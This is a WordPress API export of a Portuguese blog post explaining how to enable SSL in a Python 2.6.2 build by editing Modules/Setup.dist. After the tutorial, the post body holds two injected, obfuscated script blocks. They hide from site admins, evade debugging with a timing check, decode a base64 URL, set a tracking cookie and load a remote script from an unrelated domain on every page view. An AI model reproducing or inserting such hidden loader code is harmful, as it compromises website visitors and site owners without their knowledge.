{"id":8,"date":"2009-10-14T21:15:00","date_gmt":"2009-10-14T21:15:00","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=8"},"modified":"2025-10-26T22:45:08","modified_gmt":"2025-10-27T01:45:08","slug":"suporte-ssl-no-python-2-6-2","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2009\/10\/14\/suporte-ssl-no-python-2-6-2\/","title":{"rendered":"Suporte SSL no Python 2.6.2"},"content":{"rendered":"<p>Ol\u00e1 Pessoal.<br \/>\nTive um problema que me tomou um certo tempo e gostaria de compartilhar a solu\u00e7\u00e3o pra voc\u00eas.<br \/>\nSe voc\u00ea tem ssl na sua m\u00e1quina e ao utilizar no Python recebe o seguinte erro: <span style=\"font-style: italic;\">your version of httplib doesn't support HTTPS<\/span>, n\u00e3o importe quantas vezes voc\u00ea recompile o Python, achei a solu\u00e7\u00e3o para os seus problemas:<br \/>\nAbra o source do Python e modifique o seguinte arquivo Modules\/Setup.dist<br \/>\nDescomente as linhas:<br \/>\n<span style=\"font-family: courier new;\">_ssl _ssl.c \\<\/span><br \/>\n<span style=\"font-family: courier new;\">-DUSE_SSL -I$(SSL)\/include -I$(SSL)\/include\/openssl \\<\/span><br \/>\n<span style=\"font-family: courier new;\">-L$(SSL)\/lib -lssl -lcrypto <\/span><br \/>\nCompile e instale... pronto!<br \/>\nTeste da seguinte maneira:<br \/>\n<span style=\"font-family: courier new;\"># python<\/span><br \/>\n<span style=\"font-family: courier new;\">&gt;&gt;&gt; import socket<\/span><br \/>\n<span style=\"font-family: courier new;\">&gt;&gt;&gt; socket.ssl <\/span><br \/>\nou<\/p>\n<div style=\"font-family: courier new;\">&gt;&gt;&gt; import ssl<\/div>\n<p>ou se voc\u00ea quer uma resposta melhorzinha:<\/p>\n<div style=\"font-family: courier new;\">&gt;&gt;&gt; call hasattr(socket, \"ssl\")<\/div>\n<p>\u00c9 isso a\u00ed!<\/p>\n<div class=\"blogger-post-footer\">Thiago Galbiatti Vespa<\/div>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ol\u00e1 Pessoal. Tive um problema que me tomou um certo tempo e gostaria de compartilhar a solu\u00e7\u00e3o pra voc\u00eas. Se voc\u00ea tem ssl na sua m\u00e1quina e ao utilizar no Python recebe o seguinte erro: your version of httplib doesn't <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2009\/10\/14\/suporte-ssl-no-python-2-6-2\/\">Continue lendo  <span class=\"screen-reader-text\">  Suporte SSL no Python 2.6.2<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[7],"tags":[],"class_list":["post-8","post","type-post","status-publish","format-standard","hentry","category-python"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/8","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=8"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/8\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=8"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=8"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=8"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}